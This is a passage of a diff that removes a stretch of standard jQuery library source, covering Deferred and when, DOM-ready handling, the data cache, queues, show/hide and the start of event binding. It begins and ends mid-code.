: promise; - } - }, - deferred = {}; - - // Add list-specific methods - jQuery.each( tuples, function( i, tuple ) { - var list = tuple[ 2 ], - stateString = tuple[ 5 ]; - - // promise.progress = list.add - // promise.done = list.add - // promise.fail = list.add - promise[ tuple[ 1 ] ] = list.add; - - // Handle state - if ( stateString ) { - list.add( - function() { - - // state = "resolved" (i.e., fulfilled) - // state = "rejected" - state = stateString; - }, - - // rejected_callbacks.disable - // fulfilled_callbacks.disable - tuples[ 3 - i ][ 2 ].disable, - - // rejected_handlers.disable - // fulfilled_handlers.disable - tuples[ 3 - i ][ 3 ].disable, - - // progress_callbacks.lock - tuples[ 0 ][ 2 ].lock, - - // progress_handlers.lock - tuples[ 0 ][ 3 ].lock - ); - } - - // progress_handlers.fire - // fulfilled_handlers.fire - // rejected_handlers.fire - list.add( tuple[ 3 ].fire ); - - // deferred.notify = function() { deferred.notifyWith(...) } - // deferred.resolve = function() { deferred.resolveWith(...) } - // deferred.reject = function() { deferred.rejectWith(...) } - deferred[ tuple[ 0 ] ] = function() { - deferred[ tuple[ 0 ] + "With" ]( this === deferred ? undefined : this, arguments ); - return this; - }; - - // deferred.notifyWith = list.fireWith - // deferred.resolveWith = list.fireWith - // deferred.rejectWith = list.fireWith - deferred[ tuple[ 0 ] + "With" ] = list.fireWith; - } ); - - // Make the deferred a promise - promise.promise( deferred ); - - // Call given func if any - if ( func ) { - func.call( deferred, deferred ); - } - - // All done! - return deferred; - }, - - // Deferred helper - when: function( singleValue ) { - var - - // count of uncompleted subordinates - remaining = arguments.length, - - // count of unprocessed arguments - i = remaining, - - // subordinate fulfillment data - resolveContexts = Array( i ), - resolveValues = slice.call( arguments ), - - // the primary Deferred - primary = jQuery.Deferred(), - - // subordinate callback factory - updateFunc = function( i ) { - return function( value ) { - resolveContexts[ i ] = this; - resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value; - if ( !( --remaining ) ) { - primary.resolveWith( resolveContexts, resolveValues ); - } - }; - }; - - // Single- and empty arguments are adopted like Promise.resolve - if ( remaining <= 1 ) { - adoptValue( singleValue, primary.done( updateFunc( i ) ).resolve, primary.reject, - !remaining ); - - // Use .then() to unwrap secondary thenables (cf. gh-3000) - if ( primary.state() === "pending" || - isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) { - - return primary.then(); - } - } - - // Multiple arguments are aggregated like Promise.all array elements - while ( i-- ) { - adoptValue( resolveValues[ i ], updateFunc( i ), primary.reject ); - } - - return primary.promise(); - } -} ); - - -// These usually indicate a programmer mistake during development, -// warn about them ASAP rather than swallowing them by default. -var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; - -// If `jQuery.Deferred.getErrorHook` is defined, `asyncError` is an error -// captured before the async barrier to get the original error cause -// which may otherwise be hidden. -jQuery.Deferred.exceptionHook = function( error, asyncError ) { - - // Support: IE 8 - 9 only - // Console exists when dev tools are open, which can happen at any time - if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) { - window.console.warn( "jQuery.Deferred exception: " + error.message, - error.stack, asyncError ); - } -}; - - - - -jQuery.readyException = function( error ) { - window.setTimeout( function() { - throw error; - } ); -}; - - - - -// The deferred used on DOM ready -var readyList = jQuery.Deferred(); - -jQuery.fn.ready = function( fn ) { - - readyList - .then( fn ) - - // Wrap jQuery.readyException in a function so that the lookup - // happens at the time of error handling instead of callback - // registration. - .catch( function( error ) { - jQuery.readyException( error ); - } ); - - return this; -}; - -jQuery.extend( { - - // Is the DOM ready to be used? Set to true once it occurs. - isReady: false, - - // A counter to track how many items to wait for before - // the ready event fires. See trac-6781 - readyWait: 1, - - // Handle when the DOM is ready - ready: function( wait ) { - - // Abort if there are pending holds or we're already ready - if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { - return; - } - - // Remember that the DOM is ready - jQuery.isReady = true; - - // If a normal DOM Ready event fired, decrement, and wait if need be - if ( wait !== true && --jQuery.readyWait > 0 ) { - return; - } - - // If there are functions bound, to execute - readyList.resolveWith( document, [ jQuery ] ); - } -} ); - -jQuery.ready.then = readyList.then; - -// The ready event handler and self cleanup method -function completed() { - document.removeEventListener( "DOMContentLoaded", completed ); - window.removeEventListener( "load", completed ); - jQuery.ready(); -} - -// Catch cases where $(document).ready() is called -// after the browser event has already occurred. -// Support: IE <=9 - 10 only -// Older IE sometimes signals "interactive" too soon -if ( document.readyState === "complete" || - ( document.readyState !== "loading" && !document.documentElement.doScroll ) ) { - - // Handle it asynchronously to allow scripts the opportunity to delay ready - window.setTimeout( jQuery.ready ); - -} else { - - // Use the handy event callback - document.addEventListener( "DOMContentLoaded", completed ); - - // A fallback to window.onload, that will always work - window.addEventListener( "load", completed ); -} - - - - -// Multifunctional method to get and set values of a collection -// The value/s can optionally be executed if it's a function -var access = function( elems, fn, key, value, chainable, emptyGet, raw ) { - var i = 0, - len = elems.length, - bulk = key == null; - - // Sets many values - if ( toType( key ) === "object" ) { - chainable = true; - for ( i in key ) { - access( elems, fn, i, key[ i ], true, emptyGet, raw ); - } - - // Sets one value - } else if ( value !== undefined ) { - chainable = true; - - if ( !isFunction( value ) ) { - raw = true; - } - - if ( bulk ) { - - // Bulk operations run against the entire set - if ( raw ) { - fn.call( elems, value ); - fn = null; - - // ...except when executing function values - } else { - bulk = fn; - fn = function( elem, _key, value ) { - return bulk.call( jQuery( elem ), value ); - }; - } - } - - if ( fn ) { - for ( ; i < len; i++ ) { - fn( - elems[ i ], key, raw ? - value : - value.call( elems[ i ], i, fn( elems[ i ], key ) ) - ); - } - } - } - - if ( chainable ) { - return elems; - } - - // Gets - if ( bulk ) { - return fn.call( elems ); - } - - return len ? fn( elems[ 0 ], key ) : emptyGet; -}; - - -// Matches dashed string for camelizing -var rmsPrefix = /^-ms-/, - rdashAlpha = /-([a-z])/g; - -// Used by camelCase as callback to replace() -function fcamelCase( _all, letter ) { - return letter.toUpperCase(); -} - -// Convert dashed to camelCase; used by the css and data modules -// Support: IE <=9 - 11, Edge 12 - 15 -// Microsoft forgot to hump their vendor prefix (trac-9572) -function camelCase( string ) { - return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); -} -var acceptData = function( owner ) { - - // Accepts only: - // - Node - // - Node.ELEMENT_NODE - // - Node.DOCUMENT_NODE - // - Object - // - Any - return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType ); -}; - - - - -function Data() { - this.expando = jQuery.expando + Data.uid++; -} - -Data.uid = 1; - -Data.prototype = { - - cache: function( owner ) { - - // Check if the owner object already has a cache - var value = owner[ this.expando ]; - - // If not, create one - if ( !value ) { - value = {}; - - // We can accept data for non-element nodes in modern browsers, - // but we should not, see trac-8335. - // Always return an empty object. - if ( acceptData( owner ) ) { - - // If it is a node unlikely to be stringify-ed or looped over - // use plain assignment - if ( owner.nodeType ) { - owner[ this.expando ] = value; - - // Otherwise secure it in a non-enumerable property - // configurable must be true to allow the property to be - // deleted when data is removed - } else { - Object.defineProperty( owner, this.expando, { - value: value, - configurable: true - } ); - } - } - } - - return value; - }, - set: function( owner, data, value ) { - var prop, - cache = this.cache( owner ); - - // Handle: [ owner, key, value ] args - // Always use camelCase key (gh-2257) - if ( typeof data === "string" ) { - cache[ camelCase( data ) ] = value; - - // Handle: [ owner, { properties } ] args - } else { - - // Copy the properties one-by-one to the cache object - for ( prop in data ) { - cache[ camelCase( prop ) ] = data[ prop ]; - } - } - return cache; - }, - get: function( owner, key ) { - return key === undefined ? - this.cache( owner ) : - - // Always use camelCase key (gh-2257) - owner[ this.expando ] && owner[ this.expando ][ camelCase( key ) ]; - }, - access: function( owner, key, value ) { - - // In cases where either: - // - // 1. No key was specified - // 2. A string key was specified, but no value provided - // - // Take the "read" path and allow the get method to determine - // which value to return, respectively either: - // - // 1. The entire cache object - // 2. The data stored at the key - // - if ( key === undefined || - ( ( key && typeof key === "string" ) && value === undefined ) ) { - - return this.get( owner, key ); - } - - // When the key is not a string, or both a key and value - // are specified, set or extend (existing objects) with either: - // - // 1. An object of properties - // 2. A key and value - // - this.set( owner, key, value ); - - // Since the "set" path can have two possible entry points - // return the expected data based on which path was taken[*] - return value !== undefined ? value : key; - }, - remove: function( owner, key ) { - var i, - cache = owner[ this.expando ]; - - if ( cache === undefined ) { - return; - } - - if ( key !== undefined ) { - - // Support array or space separated string of keys - if ( Array.isArray( key ) ) { - - // If key is an array of keys... - // We always set camelCase keys, so remove that. - key = key.map( camelCase ); - } else { - key = camelCase( key ); - - // If a key with the spaces exists, use it. - // Otherwise, create an array by matching non-whitespace - key = key in cache ? - [ key ] : - ( key.match( rnothtmlwhite ) || [] ); - } - - i = key.length; - - while ( i-- ) { - delete cache[ key[ i ] ]; - } - } - - // Remove the expando if there's no more data - if ( key === undefined || jQuery.isEmptyObject( cache ) ) { - - // Support: Chrome <=35 - 45 - // Webkit & Blink performance suffers when deleting properties - // from DOM nodes, so set to undefined instead - // https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted) - if ( owner.nodeType ) { - owner[ this.expando ] = undefined; - } else { - delete owner[ this.expando ]; - } - } - }, - hasData: function( owner ) { - var cache = owner[ this.expando ]; - return cache !== undefined && !jQuery.isEmptyObject( cache ); - } -}; -var dataPriv = new Data(); - -var dataUser = new Data(); - - - -// Implementation Summary -// -// 1. Enforce API surface and semantic compatibility with 1.9.x branch -// 2. Improve the module's maintainability by reducing the storage -// paths to a single mechanism. -// 3. Use the same single mechanism to support "private" and "user" data. -// 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData) -// 5. Avoid exposing implementation details on user objects (eg. expando properties) -// 6. Provide a clear path for implementation upgrade to WeakMap in 2014 - -var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, - rmultiDash = /[A-Z]/g; - -function getData( data ) { - if ( data === "true" ) { - return true; - } - - if ( data === "false" ) { - return false; - } - - if ( data === "null" ) { - return null; - } - - // Only convert to a number if it doesn't change the string - if ( data === +data + "" ) { - return +data; - } - - if ( rbrace.test( data ) ) { - return JSON.parse( data ); - } - - return data; -} - -function dataAttr( elem, key, data ) { - var name; - - // If nothing was found internally, try to fetch any - // data from the HTML5 data-* attribute - if ( data === undefined && elem.nodeType === 1 ) { - name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase(); - data = elem.getAttribute( name ); - - if ( typeof data === "string" ) { - try { - data = getData( data ); - } catch ( e ) {} - - // Make sure we set the data so it isn't changed later - dataUser.set( elem, key, data ); - } else { - data = undefined; - } - } - return data; -} - -jQuery.extend( { - hasData: function( elem ) { - return dataUser.hasData( elem ) || dataPriv.hasData( elem ); - }, - - data: function( elem, name, data ) { - return dataUser.access( elem, name, data ); - }, - - removeData: function( elem, name ) { - dataUser.remove( elem, name ); - }, - - // TODO: Now that all calls to _data and _removeData have been replaced - // with direct calls to dataPriv methods, these can be deprecated. - _data: function( elem, name, data ) { - return dataPriv.access( elem, name, data ); - }, - - _removeData: function( elem, name ) { - dataPriv.remove( elem, name ); - } -} ); - -jQuery.fn.extend( { - data: function( key, value ) { - var i, name, data, - elem = this[ 0 ], - attrs = elem && elem.attributes; - - // Gets all values - if ( key === undefined ) { - if ( this.length ) { - data = dataUser.get( elem ); - - if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) { - i = attrs.length; - while ( i-- ) { - - // Support: IE 11 only - // The attrs elements can be null (trac-14894) - if ( attrs[ i ] ) { - name = attrs[ i ].name; - if ( name.indexOf( "data-" ) === 0 ) { - name = camelCase( name.slice( 5 ) ); - dataAttr( elem, name, data[ name ] ); - } - } - } - dataPriv.set( elem, "hasDataAttrs", true ); - } - } - - return data; - } - - // Sets multiple values - if ( typeof key === "object" ) { - return this.each( function() { - dataUser.set( this, key ); - } ); - } - - return access( this, function( value ) { - var data; - - // The calling jQuery object (element matches) is not empty - // (and therefore has an element appears at this[ 0 ]) and the - // `value` parameter was not undefined. An empty jQuery object - // will result in `undefined` for elem = this[ 0 ] which will - // throw an exception if an attempt to read a data cache is made. - if ( elem && value === undefined ) { - - // Attempt to get data from the cache - // The key will always be camelCased in Data - data = dataUser.get( elem, key ); - if ( data !== undefined ) { - return data; - } - - // Attempt to "discover" the data in - // HTML5 custom data-* attrs - data = dataAttr( elem, key ); - if ( data !== undefined ) { - return data; - } - - // We tried really hard, but the data doesn't exist. - return; - } - - // Set the data... - this.each( function() { - - // We always store the camelCased key - dataUser.set( this, key, value ); - } ); - }, null, value, arguments.length > 1, null, true ); - }, - - removeData: function( key ) { - return this.each( function() { - dataUser.remove( this, key ); - } ); - } -} ); - - -jQuery.extend( { - queue: function( elem, type, data ) { - var queue; - - if ( elem ) { - type = ( type || "fx" ) + "queue"; - queue = dataPriv.get( elem, type ); - - // Speed up dequeue by getting out quickly if this is just a lookup - if ( data ) { - if ( !queue || Array.isArray( data ) ) { - queue = dataPriv.access( elem, type, jQuery.makeArray( data ) ); - } else { - queue.push( data ); - } - } - return queue || []; - } - }, - - dequeue: function( elem, type ) { - type = type || "fx"; - - var queue = jQuery.queue( elem, type ), - startLength = queue.length, - fn = queue.shift(), - hooks = jQuery._queueHooks( elem, type ), - next = function() { - jQuery.dequeue( elem, type ); - }; - - // If the fx queue is dequeued, always remove the progress sentinel - if ( fn === "inprogress" ) { - fn = queue.shift(); - startLength--; - } - - if ( fn ) { - - // Add a progress sentinel to prevent the fx queue from being - // automatically dequeued - if ( type === "fx" ) { - queue.unshift( "inprogress" ); - } - - // Clear up the last queue stop function - delete hooks.stop; - fn.call( elem, next, hooks ); - } - - if ( !startLength && hooks ) { - hooks.empty.fire(); - } - }, - - // Not public - generate a queueHooks object, or return the current one - _queueHooks: function( elem, type ) { - var key = type + "queueHooks"; - return dataPriv.get( elem, key ) || dataPriv.access( elem, key, { - empty: jQuery.Callbacks( "once memory" ).add( function() { - dataPriv.remove( elem, [ type + "queue", key ] ); - } ) - } ); - } -} ); - -jQuery.fn.extend( { - queue: function( type, data ) { - var setter = 2; - - if ( typeof type !== "string" ) { - data = type; - type = "fx"; - setter--; - } - - if ( arguments.length < setter ) { - return jQuery.queue( this[ 0 ], type ); - } - - return data === undefined ? - this : - this.each( function() { - var queue = jQuery.queue( this, type, data ); - - // Ensure a hooks for this queue - jQuery._queueHooks( this, type ); - - if ( type === "fx" && queue[ 0 ] !== "inprogress" ) { - jQuery.dequeue( this, type ); - } - } ); - }, - dequeue: function( type ) { - return this.each( function() { - jQuery.dequeue( this, type ); - } ); - }, - clearQueue: function( type ) { - return this.queue( type || "fx", [] ); - }, - - // Get a promise resolved when queues of a certain type - // are emptied (fx is the type by default) - promise: function( type, obj ) { - var tmp, - count = 1, - defer = jQuery.Deferred(), - elements = this, - i = this.length, - resolve = function() { - if ( !( --count ) ) { - defer.resolveWith( elements, [ elements ] ); - } - }; - - if ( typeof type !== "string" ) { - obj = type; - type = undefined; - } - type = type || "fx"; - - while ( i-- ) { - tmp = dataPriv.get( elements[ i ], type + "queueHooks" ); - if ( tmp && tmp.empty ) { - count++; - tmp.empty.add( resolve ); - } - } - resolve(); - return defer.promise( obj ); - } -} ); -var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source; - -var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ); - - -var cssExpand = [ "Top", "Right", "Bottom", "Left" ]; - -var documentElement = document.documentElement; - - - - var isAttached = function( elem ) { - return jQuery.contains( elem.ownerDocument, elem ); - }, - composed = { composed: true }; - - // Support: IE 9 - 11+, Edge 12 - 18+, iOS 10.0 - 10.2 only - // Check attachment across shadow DOM boundaries when possible (gh-3504) - // Support: iOS 10.0-10.2 only - // Early iOS 10 versions support `attachShadow` but not `getRootNode`, - // leading to errors. We need to check for `getRootNode`. - if ( documentElement.getRootNode ) { - isAttached = function( elem ) { - return jQuery.contains( elem.ownerDocument, elem ) || - elem.getRootNode( composed ) === elem.ownerDocument; - }; - } -var isHiddenWithinTree = function( elem, el ) { - - // isHiddenWithinTree might be called from jQuery#filter function; - // in that case, element will be second argument - elem = el || elem; - - // Inline style trumps all - return elem.style.display === "none" || - elem.style.display === "" && - - // Otherwise, check computed style - // Support: Firefox <=43 - 45 - // Disconnected elements can have computed display: none, so first confirm that elem is - // in the document. - isAttached( elem ) && - - jQuery.css( elem, "display" ) === "none"; - }; - - - -function adjustCSS( elem, prop, valueParts, tween ) { - var adjusted, scale, - maxIterations = 20, - currentValue = tween ? - function() { - return tween.cur(); - } : - function() { - return jQuery.css( elem, prop, "" ); - }, - initial = currentValue(), - unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ), - - // Starting value computation is required for potential unit mismatches - initialInUnit = elem.nodeType && - ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) && - rcssNum.exec( jQuery.css( elem, prop ) ); - - if ( initialInUnit && initialInUnit[ 3 ] !== unit ) { - - // Support: Firefox <=54 - // Halve the iteration target value to prevent interference from CSS upper bounds (gh-2144) - initial = initial / 2; - - // Trust units reported by jQuery.css - unit = unit || initialInUnit[ 3 ]; - - // Iteratively approximate from a nonzero starting point - initialInUnit = +initial || 1; - - while ( maxIterations-- ) { - - // Evaluate and update our best guess (doubling guesses that zero out). - // Finish if the scale equals or crosses 1 (making the old*new product non-positive). - jQuery.style( elem, prop, initialInUnit + unit ); - if ( ( 1 - scale ) * ( 1 - ( scale = currentValue() / initial || 0.5 ) ) <= 0 ) { - maxIterations = 0; - } - initialInUnit = initialInUnit / scale; - - } - - initialInUnit = initialInUnit * 2; - jQuery.style( elem, prop, initialInUnit + unit ); - - // Make sure we update the tween properties later on - valueParts = valueParts || []; - } - - if ( valueParts ) { - initialInUnit = +initialInUnit || +initial || 0; - - // Apply relative offset (+=/-=) if specified - adjusted = valueParts[ 1 ] ? - initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] : - +valueParts[ 2 ]; - if ( tween ) { - tween.unit = unit; - tween.start = initialInUnit; - tween.end = adjusted; - } - } - return adjusted; -} - - -var defaultDisplayMap = {}; - -function getDefaultDisplay( elem ) { - var temp, - doc = elem.ownerDocument, - nodeName = elem.nodeName, - display = defaultDisplayMap[ nodeName ]; - - if ( display ) { - return display; - } - - temp = doc.body.appendChild( doc.createElement( nodeName ) ); - display = jQuery.css( temp, "display" ); - - temp.parentNode.removeChild( temp ); - - if ( display === "none" ) { - display = "block"; - } - defaultDisplayMap[ nodeName ] = display; - - return display; -} - -function showHide( elements, show ) { - var display, elem, - values = [], - index = 0, - length = elements.length; - - // Determine new display value for elements that need to change - for ( ; index < length; index++ ) { - elem = elements[ index ]; - if ( !elem.style ) { - continue; - } - - display = elem.style.display; - if ( show ) { - - // Since we force visibility upon cascade-hidden elements, an immediate (and slow) - // check is required in this first loop unless we have a nonempty display value (either - // inline or about-to-be-restored) - if ( display === "none" ) { - values[ index ] = dataPriv.get( elem, "display" ) || null; - if ( !values[ index ] ) { - elem.style.display = ""; - } - } - if ( elem.style.display === "" && isHiddenWithinTree( elem ) ) { - values[ index ] = getDefaultDisplay( elem ); - } - } else { - if ( display !== "none" ) { - values[ index ] = "none"; - - // Remember what we're overwriting - dataPriv.set( elem, "display", display ); - } - } - } - - // Set the display of the elements in a second loop to avoid constant reflow - for ( index = 0; index < length; index++ ) { - if ( values[ index ] != null ) { - elements[ index ].style.display = values[ index ]; - } - } - - return elements; -} - -jQuery.fn.extend( { - show: function() { - return showHide( this, true ); - }, - hide: function() { - return showHide( this ); - }, - toggle: function( state ) { - if ( typeof state === "boolean" ) { - return state ? this.show() : this.hide(); - } - - return this.each( function() { - if ( isHiddenWithinTree( this ) ) { - jQuery( this ).show(); - } else { - jQuery( this ).hide(); - } - } ); - } -} ); -var rcheckableType = ( /^(?:checkbox|radio)$/i ); - -var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]*)/i ); - -var rscriptType = ( /^$|^module$|\/(?:java|ecma)script/i ); - - - -( function() { - var fragment = document.createDocumentFragment(), - div = fragment.appendChild( document.createElement( "div" ) ), - input = document.createElement( "input" ); - - // Support: Android 4.0 - 4.3 only - // Check state lost if the name is set (trac-11217) - // Support: Windows Web Apps (WWA) - // `name` and `type` must use .setAttribute for WWA (trac-14901) - input.setAttribute( "type", "radio" ); - input.setAttribute( "checked", "checked" ); - input.setAttribute( "name", "t" ); - - div.appendChild( input ); - - // Support: Android <=4.1 only - // Older WebKit doesn't clone checked state correctly in fragments - support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked; - - // Support: IE <=11 only - // Make sure textarea (and checkbox) defaultValue is properly cloned - div.innerHTML = "<textarea>x</textarea>"; - support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue; - - // Support: IE <=9 only - // IE <=9 replaces <option> tags with their contents when inserted outside of - // the select element. - div.innerHTML = "<option></option>"; - support.option = !!div.lastChild; -} )(); - - -// We have to close these tags to support XHTML (trac-13200) -var wrapMap = { - - // XHTML parsers do not magically insert elements in the - // same way that tag soup parsers do. So we cannot shorten - // this by omitting <tbody> or other required elements. - thead: [ 1, "<table>", "</table>" ], - col: [ 2, "<table><colgroup>", "</colgroup></table>" ], - tr: [ 2, "<table><tbody>", "</tbody></table>" ], - td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], - - _default: [ 0, "", "" ] -}; - -wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; -wrapMap.th = wrapMap.td; - -// Support: IE <=9 only -if ( !support.option ) { - wrapMap.optgroup = wrapMap.option = [ 1, "<select multiple='multiple'>", "</select>" ]; -} - - -function getAll( context, tag ) { - - // Support: IE <=9 - 11 only - // Use typeof to avoid zero-argument method invocation on host objects (trac-15151) - var ret; - - if ( typeof context.getElementsByTagName !== "undefined" ) { - ret = context.getElementsByTagName( tag || "*" ); - - } else if ( typeof context.querySelectorAll !== "undefined" ) { - ret = context.querySelectorAll( tag || "*" ); - - } else { - ret = []; - } - - if ( tag === undefined || tag && nodeName( context, tag ) ) { - return jQuery.merge( [ context ], ret ); - } - - return ret; -} - - -// Mark scripts as having already been evaluated -function setGlobalEval( elems, refElements ) { - var i = 0, - l = elems.length; - - for ( ; i < l; i++ ) { - dataPriv.set( - elems[ i ], - "globalEval", - !refElements || dataPriv.get( refElements[ i ], "globalEval" ) - ); - } -} - - -var rhtml = /<|&#?\w+;/; - -function buildFragment( elems, context, scripts, selection, ignored ) { - var elem, tmp, tag, wrap, attached, j, - fragment = context.createDocumentFragment(), - nodes = [], - i = 0, - l = elems.length; - - for ( ; i < l; i++ ) { - elem = elems[ i ]; - - if ( elem || elem === 0 ) { - - // Add nodes directly - if ( toType( elem ) === "object" ) { - - // Support: Android <=4.0 only, PhantomJS 1 only - // push.apply(_, arraylike) throws on ancient WebKit - jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); - - // Convert non-html into a text node - } else if ( !rhtml.test( elem ) ) { - nodes.push( context.createTextNode( elem ) ); - - // Convert html into DOM nodes - } else { - tmp = tmp || fragment.appendChild( context.createElement( "div" ) ); - - // Deserialize a standard representation - tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase(); - wrap = wrapMap[ tag ] || wrapMap._default; - tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ]; - - // Descend through wrappers to the right content - j = wrap[ 0 ]; - while ( j-- ) { - tmp = tmp.lastChild; - } - - // Support: Android <=4.0 only, PhantomJS 1 only - // push.apply(_, arraylike) throws on ancient WebKit - jQuery.merge( nodes, tmp.childNodes ); - - // Remember the top-level container - tmp = fragment.firstChild; - - // Ensure the created nodes are orphaned (trac-12392) - tmp.textContent = ""; - } - } - } - - // Remove wrapper from fragment - fragment.textContent = ""; - - i = 0; - while ( ( elem = nodes[ i++ ] ) ) { - - // Skip elements already in the context collection (trac-4087) - if ( selection && jQuery.inArray( elem, selection ) > -1 ) { - if ( ignored ) { - ignored.push( elem ); - } - continue; - } - - attached = isAttached( elem ); - - // Append to fragment - tmp = getAll( fragment.appendChild( elem ), "script" ); - - // Preserve script evaluation history - if ( attached ) { - setGlobalEval( tmp ); - } - - // Capture executables - if ( scripts ) { - j = 0; - while ( ( elem = tmp[ j++ ] ) ) { - if ( rscriptType.test( elem.type || "" ) ) { - scripts.push( elem ); - } - } - } - } - - return fragment; -} - - -var rtypenamespace = /^([^.]*)(?:\.(.+)|)/; - -function returnTrue() { - return true; -} - -function returnFalse() { - return false; -} - -function on( elem, types, selector, data, fn, one ) { - var origFn, type; - - // Types can be a map of types/handlers - if ( typeof types === "object" ) { - - // ( types-Object, selector, data ) - if ( typeof selector !== "string" ) { - - // ( types-Object, data ) - data = data || selector; - selector = undefined; - } - for ( type in types ) { - on( elem, type, selector, data, types[ type ], one ); - } - return elem; - } - - if ( data == null && fn == null ) { - - // ( types, fn ) - fn = selector; - data = selector = undefined; - } else if ( fn == null ) { - if ( typeof selector === "string" ) { - - // ( types, selector, fn ) - fn = data; - data = undefined; - } else { - - // ( types, data, fn ) - fn = data; - data = selector; - selector = undefined; - } - } - if ( fn === false ) { - fn = returnFalse; - } else if ( !fn ) { - return elem; - } - - if ( one === 1 ) { - origFn = fn; - fn = function( event ) { - - // Can use an empty set, since event contains the info - jQuery().off( event ); - return origFn.apply( this, arguments ); - }; - - // Use same guid so caller can remove using origFn - fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); - } - return elem.each( function() { - jQuery.event.add( this, types, fn, data, selector ); - } ); -} - -/* - * Helper functions for managing events -- not part of the public interface. - * Props to Dean Edwards' addEvent library for many of the ideas. - */ -jQuery.event = { - - global: {}, - - add: function( elem, types, handler, data, selector ) { - - var handleObjIn, eventHandle, tmp, - events, t, handleObj, - special, handlers, type, namespaces, origType, - elemData = dataPriv.get( elem ); - - // Only attach events to objects that accept data - if ( !acceptData( elem ) ) { - return; - } - - // Caller can pass in an object of custom data in lieu of the handler - if ( handler.handler ) { - handleObjIn = handler; - handler = handleObjIn.handler; - selector = handleObjIn.selector; - } - - // Ensure that invalid selectors throw exceptions at attach time - // Evaluate against documentElement in case elem is a non-element node (e.g., document) - if ( selector ) { - jQuery.find.matchesSelector( documentElement, selector ); - } - - // Make sure that the handler has a unique ID, used to find/remove it later - if ( !handler.guid ) { - handler.guid = jQuery.guid++; - } - - // Init the element's event structure and main handler, if this is the first - if ( !( events = elemData.events ) ) { - events = elemData.events = Object.create( null ); - } - if ( !( eventHandle = elemData.handle ) ) { - eventHandle = elemData.handle = function( e ) { - - // Discard the second event of a jQuery.event.trigger() and - // when an event is called after a page has unloaded - return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ? - jQuery.event.dispatch.apply( elem, arguments ) : undefined; - }; - } - - // Handle multiple events separated by a space - types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; - t = types.length; - while ( t-- ) { - tmp = rtypenamespace.exec( types[ t ] ) || []; - type = origType = tmp[ 1 ]; - namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); - - // There *must* be a type, no attaching namespace-only handlers - if ( !type ) { - continue; - } - - // If event changes its type, use the special event handlers for the changed type - special = jQuery.event.special[ type ] || {}; - - // If selector defined, determine special event api type, otherwise given type - type = ( selector ? special.delegateType : special.bindType ) || type; - - // Update special based on newly reset type - special = jQuery.event.special[ type ] || {}; - - // handleObj is passed to all event handlers - handleObj = jQuery.extend( { - type: type, - origType: origType, - data: data, - handler: handler, - guid: handler.guid, - selector: selector, - needsContext: selector && jQuery.expr.match.needsContext.test( selector ), - namespace: namespaces.join( "." ) - }, handleObjIn ); - - // Init the event handler queue if we're the first - if ( !( handlers = events[ type ] ) ) { - handlers = events[ type ] = []; - handlers.delegateCount = 0; - - // Only use addEventListener if the special events handler returns false - if ( !special.setup || - special.setup.call( elem, data, namespaces, eventHandle ) === false ) { - - if ( elem.addEventListener ) { - elem.addEventListener( type, eventHandle ); - } - } - } - - if ( special.add ) { - special.add.call( elem, handleObj ); - - if ( !handleObj.handler.guid ) { - handleObj.handler.guid = handler.guid; - } - } - - // Add to the element's handler list, delegates in front - if ( selector ) { - handlers.splice( handlers.delegateCount++, 0, handleObj ); - } else { - handlers.push( handleObj ); - } - - // Keep track of which events have ever been used, for event optimization - jQuery.event.global[ type ] = true; - } - - }, - - // Detach an event or set of events from an element - remove: function( elem, types, handler, selector, mappedTypes ) { - - var j, origCount, tmp, - events, t, handleObj, - special, handlers, type, namespaces, origType, - elemData = dataPriv.hasData( elem ) && dataPriv.get( elem ); - - if ( !elemData || !( events = elemData.events ) ) { - return; - } - - // Once for each type.namespace in types; type may be omitted - types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; - t = types.length; - while ( t-- ) { - tmp = rtypenamespace.exec( types[ t ] ) || []; - type = origType = tmp[ 1 ]; - namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); - - // Unbind all events (on this namespace, if provided) for the element - if ( !type ) { - for ( type in events ) { - jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); - } - continue; - } - - special = jQuery.event.special[ type ] || {}; - type = ( selector ? special.delegateType : special.bindType ) || type; - handlers = events[ type ] || []; - tmp = tmp[ 2 ] && - new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ); - - // Remove matching events - origCount = j = handlers.length; - while ( j-- ) { - handleObj = handlers[ j ]; - - if ( ( mappedTypes || origType === handleObj.origType ) && - ( !handler || handler.guid === handleObj.guid ) && - ( !tmp || tmp.test( handleObj.namespace ) ) && - ( !selector || selector === handleObj.selector || - selector === "**" && handleObj.selector ) ) { - handlers.splice( j, 1 ); - - if ( handleObj.selector ) { - handlers.delegateCount--; - } - if ( special.remove ) { - special.remove.call( 